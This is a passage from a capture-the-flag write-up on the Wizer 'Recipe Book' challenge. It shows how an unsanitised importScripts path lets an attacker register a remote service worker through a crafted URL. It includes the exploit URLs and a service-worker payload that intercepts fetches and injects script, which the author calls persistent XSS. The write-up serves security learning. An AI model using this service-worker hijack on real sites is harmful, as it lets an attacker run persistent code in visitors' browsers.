Yes, we can!</p><p>Looking back at <code>sw.js</code> (the script that dynamically registers the service workers), we see that it tries to import a service worker starting with a <code>/</code> in the path:</p><pre><code class="language-js">// Allow loading in of service workers dynamically
importScripts(&apos;/utils.js&apos;);
importScripts(`/${getParameterByName(&apos;sw&apos;)}`);
</code></pre><p>We could abuse this by appending another <code>/</code> after the first slash, which JavaScript automatically translates to a domain name. Meaning that we can register a remote service worker!</p><p>I hosted a JavaScript file on my domain, having the following contents (make sure the JavaScript file is hosted on a webserver with HTTPS enabled; otherwise, the service worker won&apos;t register):</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const channel = new BroadcastChannel(&apos;recipebook&apos;);
channel.postMessage({ message: &apos;Wizer&apos; });</code></pre><figcaption><p><span style="white-space: pre-wrap;">0ay.nl/assets/js/test.js0ay.nl/assets/js/test.js</span></p></figcaption></figure><p>Let&apos;s try to register this service worker with the exploit we found on the website:</p><p><a href="https://events.wizer-ctf.com/?mode=sw&amp;color=%2F0ay.nl%2Fassets%2Fjs%2Ftest.js&amp;ref=yoerivegt.com"><code>https://events.wizer-ctf.com/?mode=sw&amp;color=/0ay.nl/assets/js/test.js</code></a></p><p>Boom! When visiting the URL, an alert window pops up with the &quot;Wizer&quot; string! We did it!</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image-2.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1560" height="243" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-2.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-2.png 1000w, https://yoerivegt.com/content/images/2024/02/image-2.png 1560w" sizes="(min-width: 720px) 720px"></figure><h3 id="summary">Summary</h3><p>We exploited a vulnerability in the website by crafting a malicious URL with two GET parameters, <code>mode</code> and <code>color</code>. These parameters were used to set an HTML element with the ID specified by the <code>mode</code> parameter, and the content of the element was set according to the <code>color</code> parameter.</p><p>Using this mechanism, we overwrote the HTML element with the ID &quot;sw&quot;, which was used to register a service worker, with a JavaScript file we controlled. Our JavaScript file sent a postMessage request, which the web app listened for, triggering an alert with the contents of that message. This successful exploit allowed us to solve the challenge by popping an alert with the desired content.</p><h2 id="beyond-the-challenge">Beyond the challenge</h2><h3 id="xss">XSS</h3><p>Although we popped an alert on this web app, this doesn&apos;t mean we have full Cross-Site Scripting. The alert was able to fire thanks to the postMessage listener, which listened to any incoming postMessage, and would send out an alert when a postMessage was received.</p><p>This, of course, doesn&apos;t have any real-world malicious implications. So how can we abuse this? Let&apos;s find out!</p><h3 id="the-capabilities-of-service-workers">The capabilities of Service Workers</h3><p>Unfortunately, according to the Mozilla docs, service workers don&apos;t have access to the DOM of the webpage. Which is a bummer because we could&apos;ve written some of the DOM over to include our custom JavaScript, which would&apos;ve given us full JS access to the page (including the DOM).</p><p>Although service workers can&apos;t access the DOM, they have some other nifty features! We can create an event listener for fetch, and even better, we can intercept and change the response of the fetch! This way, we can execute any JavaScript on the page&apos;s DOM.</p><h3 id="pocgtfo">PoC||GTFO</h3><p>Let&apos;s create a proof of concept!</p><p>Mozilla has all the service worker APIs nicely documented, just like the <a href="https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent/respondWith?ref=yoerivegt.com" rel="noreferrer">event.respondWith() method</a>.</p><p>On my domain, I&apos;ve hosted a JavaScript file with the following contents:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">this.addEventListener(&apos;fetch&apos;, function(event) {
   event.respondWith(new Response(&quot;&lt;script&gt;prompt(&apos;This is a custom prompt! &apos; + window.location.host)&lt;/script&gt;&lt;h1&gt;Hi! This response was intercepted and replaced with a javascript payload!&lt;/scrip&gt;&quot;, {headers: {&apos;Content-Type&apos;: &apos;text/html&apos;}}));
});</code></pre><figcaption><p dir="ltr"><span style="white-space: pre-wrap;">0ay.nl/assets/js/fetch.js</span></p></figcaption></figure><p>This service worker will listen and wait until a fetch event happens, and when it does happen, it&apos;ll intercept the request and change it up for a very simple Cross-Site Scripting payload. Let&apos;s see it in action!</p><ol><li>First, visit the malicious link we made, but instead of <code>test.js</code>, use the <code>fetch.js</code> file, like: <a href="https://events.wizer-ctf.com/?mode=sw&amp;color=%2F0ay.nl%2Fassets%2Fjs%2Ffetch.js&amp;ref=yoerivegt.com"><code>https://events.wizer-ctf.com/?mode=sw&amp;color=/0ay.nl/assets/js/fetch.js</code></a></li><li>Nothing appears to happen; this is because the service worker got registered after the fetch requests happened. Refresh the page!</li><li>A <code>prompt</code> JavaScript window appears, proving our JavaScript code execution!</li></ol><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image-3.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1260" height="291" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-3.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-3.png 1000w, https://yoerivegt.com/content/images/2024/02/image-3.png 1260w" sizes="(min-width: 720px) 720px"></figure><p>Clicking on &quot;Ok&quot; or &quot;Cancel&quot; will print out the H1 tag on the screen:</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image-4.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1884" height="260" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-4.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-4.png 1000w, https://yoerivegt.com/content/images/size/w1600/2024/02/image-4.png 1600w, https://yoerivegt.com/content/images/2024/02/image-4.png 1884w" sizes="(min-width: 720px) 720px"></figure><h2 id="conclusion">Conclusion</h2><p>We&apos;ve done it! We escalated the installation of service workers from a simple alert to full Cross-Site Scripting on our website. And because this is done through a service worker, the XSS is quite persistent, even if you close and reopen your browser! The possibilities are endless now, as you can display and execute anything on the page you want!</p><p>Thank you <a href="https://www.wizer-training.com/?ref=yoerivegt.com" rel="noreferrer">Wizer Training</a> for hosting this CTF, and <a href="https://www.linkedin.com/in/robbe-van-roey-365666195/?ref=yoerivegt.com" rel="noreferrer">PinkDraconian</a> for creating this amazing challenge! I learned a lot from the challenge, writing the write-up, and going further than the flag!</p><p>Thanks.</p><ul><li>Yoeri Vegt</li></ul><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image-6.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1222" height="944" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-6.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-6.png 1000w, https://yoerivegt.com/content/images/2024/02/image-6.png 1222w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item></channel></rss>